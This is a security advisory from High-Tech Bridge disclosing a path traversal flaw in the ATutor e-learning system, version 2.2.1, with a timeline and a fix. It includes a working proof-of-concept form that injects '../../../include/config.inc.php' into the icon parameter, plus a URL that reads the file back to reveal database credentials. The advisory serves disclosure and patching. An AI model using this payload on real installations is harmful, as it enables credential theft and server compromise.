Arbitrary File Content Disclosure in Atutor

[High-Tech Bridge Security Research <advisory () htbridge ch>]

Advisory ID: HTB23297
Product: Atutor
Vendor: Atutor
Vulnerable Version(s): 2.2.1 and probably prior
Tested Version: 2.2.1
Advisory Publication:  February 24, 2016  [without technical details]
Vendor Notification: February 24, 2016 
Vendor Patch: July 1, 2016 
Public Disclosure: August 2, 2016 
Vulnerability Type: Path Traversal [CWE-22]
Risk Level: Medium 
CVSSv3 Base Score: 5.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered path traversal vulnerability in a popular web-based e-learning system 
Atutor. A remote attacker can view contents of arbitrary local files on the target system with privileges of the web 
server. 

The vulnerability may allow an attacker gain access to potentially sensitive web application and system information, 
and use received data to gain complete control over vulnerable web application.

Successful exploitation of vulnerability requires that user is registered and authenticated, but registration is open 
by default.

The vulnerability exists due to absence of filtration of user-supplied data passed via "icon" HTTP POST to 
"/mods/_core/courses/users/create_course.php" script, when saving information to database. A remote authenticated 
attacker can use directory traversal sequences (e.g. "../") in user's icon parameter to overwrite its value and then 
include arbitrary file on the system and view its contents.

The following PoC code can be used to replace path to user’s icon in database. In this example, we will inject path to 
the system configuration "/include/config.inc.php" file:


<form action="http://[host]/mods/_core/courses/users/create_course.php"; method="POST" name="f1" 
enctype="multipart/form-data">
<input type="hidden" name="form_course" value="true">
<input type="hidden" name="MAX_FILE_SIZE" value="819200">
<input type="hidden" name="course" value="0">
<input type="hidden" name="old_access" value="protected">
<input type="hidden" name="created_date" value="2016-02-17 13:20:26">
<input type="hidden" name="show_courses" value="0">
<input type="hidden" name="current_cat" value="0">
<input type="hidden" name="title" value="vulnerable">
<input type="hidden" name="pri_lang" value="en">
<input type="hidden" name="description" value="">
<input type="hidden" name="category_parent" value="0">
<input type="hidden" name="content_packaging" value="top">
<input type="hidden" name="rss" value="0">
<input type="hidden" name="access" value="protected">
<input type="hidden" name="release_date" value="0">
<input type="hidden" name="day_release" value="0">
<input type="hidden" name="month_release" value="0">
<input type="hidden" name="year_release" value="0">
<input type="hidden" name="hour_release" value="0">
<input type="hidden" name="min_release" value="0">
<input type="hidden" name="end_date" value="0">
<input type="hidden" name="day_end" value="0">
<input type="hidden" name="month_end" value="0">
<input type="hidden" name="year_end" value="2016">
<input type="hidden" name="hour_end" value="0">
<input type="hidden" name="min_end" value="0">
<input type="hidden" name="banner" value="">
<input type="hidden" name="initial_content" value="1">
<input type="hidden" name="quota" value="-2">
<input type="hidden" name="filesize" value="-3">
<input type="hidden" name="tracking" value="">
<input type="hidden" name="copyright" value="">
<input type="hidden" name="boolForce" value="">
<input type="hidden" name="MAX_FILE_SIZE" value="">
<input type="hidden" name="customicon" value="">
<input type="hidden" name="custOptCount" value="0">
<input type="hidden" name="courseId" value="[COURSE_ID]">
<input type="hidden" name="icon" value="../../../include/config.inc.php">
<input type="button" name="submit" value="Save">
</form>


The injected parameter is used in "readfile()" function in the "/get_course_icon.php" script. To view contents of the 
"/include/config.inc.php" file and see database credentials, the attacker needs to open the following URL:

http:///get_course_icon.php?id=[COURSE_ID]


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Solution:

Update to ATutor 2.2.2

More Information:
https://github.com/atutor/ATutor/releases/tag/atutor_2_2_2

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References:

[1] High-Tech Bridge Advisory HTB23297 - https://www.htbridge.com/advisory/HTB23297  - Arbitrary File Content 
Disclosure in Atutor
[2] Atutor - http://www.atutor.ca/ - ATutor is a FREE Open Source LMS, used to develop online courses and create 
elearning content.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by High-Tech Bridge for on-demand and 
continuous web application security, vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL implementation for PCI DSS and NIST 
compliance. Supports all types of protocols.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.